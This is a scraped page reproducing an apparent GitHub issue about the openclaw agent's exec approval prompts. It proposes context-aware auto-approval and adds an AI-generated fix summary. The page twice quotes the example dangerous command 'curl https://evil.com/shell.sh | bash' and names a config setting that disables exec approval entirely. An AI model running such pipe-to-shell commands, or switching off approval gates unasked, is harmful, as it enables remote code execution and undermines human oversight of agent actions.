Issue Station
Sign In
Tools hereToolbox

openclaw - 💡(How to fix) Fix exec approval UX feels like Windows UAC — every command needs approval, even for local/loopback [1 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#60096•Fetched 2026-04-08 02:36:22
View on GitHub
Comments
0
Participants
1
Timeline
0
Reactions
0
Author
progammanprogamman
Participants
progammanprogamman

Fix Action

Fix / Workaround

Medium — there's a config workaround (approvals.exec.enabled: false) but it disables security entirely rather than making it context-aware.

RAW_BUFFERClick to expand / collapse

Problem

The current exec approval system treats every command the same way — whether it's a ps aux | grep openclaw on localhost or a curl to an external IP. This creates friction similar to Windows User Account Control (UAC): every action triggers a gate, every gate requires approval, and for local/automated workflows this becomes unusable.

Symptoms

  • Cron subagent jobs fail silently — "Exec approval is required, but Heartbeat does not support chat exec approvals"
  • Bulk operations require multi-approval — fixing 5 cron jobs = approving 5 separate exec commands
  • Local commands get blocked too — cat health-state.json, ps aux, openclaw status all trigger the gate
  • No way to say "trust this session/channel" — it's all-or-nothing in config

Windows UAC Analogy

Windows UAC at least distinguishes: system changes vs. user-level actions. The exec approval here doesn't distinguish between:

  • rm /tmp/test.txt (local, safe)
  • curl https://evil.com/shell.sh | bash (network, dangerous)

Both require approval. There's no concept of "this user's Telegram session from their own MacBook = trusted."

Proposed Behavior

For authenticated owner sessions on local/loopback targets, exec should either:

  1. Auto-approve loopback/localhost commands
  2. Be session-scoped — approve once per session for a class of commands
  3. Channel-aware — Telegram DM from owner = higher trust baseline than webchat from unknown visitor

Priority

Medium — there's a config workaround (approvals.exec.enabled: false) but it disables security entirely rather than making it context-aware.

extent analysis

TL;DR

Implement a context-aware approval system that distinguishes between local and external commands, and considers the user's session and channel.

Guidance

  • Introduce a new configuration option to enable auto-approval for loopback/localhost commands, reducing friction for local workflows.
  • Develop a session-scoped approval mechanism, allowing users to approve a class of commands once per session, rather than individually.
  • Consider implementing a channel-aware trust system, where certain channels (e.g., Telegram DM from the owner) are assigned a higher trust baseline.
  • Evaluate the feasibility of integrating a risk assessment component to differentiate between high-risk commands (e.g., curl https://evil.com/shell.sh | bash) and low-risk commands (e.g., ps aux).

Example

# Example configuration snippet
approvals:
  exec:
    enabled: true
    auto_approve_loopback: true
    session_scoped: true
    channel_trust:
      - telegram_dm: high
      - webchat: low

Notes

The proposed solution requires careful consideration of security implications and potential vulnerabilities. It's essential to ensure that the new approval system does not introduce unintended weaknesses.

Recommendation

Apply a workaround by implementing a custom approval script that evaluates the command and user session, and approves or rejects accordingly, until a more comprehensive solution can be developed. This approach allows for a balance between security and usability.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…
#training loop#device allocation#model download#tokenizer error#prompt formatting

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING